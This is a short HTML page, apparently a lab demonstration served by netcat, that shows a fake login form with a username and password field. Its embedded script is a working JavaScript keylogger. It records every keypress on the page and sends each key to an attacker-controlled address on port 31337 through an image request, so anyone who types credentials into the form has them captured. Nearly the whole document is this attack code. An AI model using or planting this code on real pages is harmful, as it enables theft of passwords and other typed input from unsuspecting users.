<!doctype html>
<html>
<body>
<h1>A web page served by netcat!</h1>

    <form id="login-form">
        <input type="text" name="username" id="username-field" class="login-form-field" placeholder="Username">
        <input type="password" name="password" id="password-field" class="login-form-field" placeholder="Password">
        <input type="submit" value="Login" id="login-form-submit">
    </form>

    <script>
        var attacker = 'http://192.168.6.128:31337/?key=';
        document.onkeypress = function (payload) {
            new Image().src = attacker + payload.key;
        }
    </script>
</body>
</html>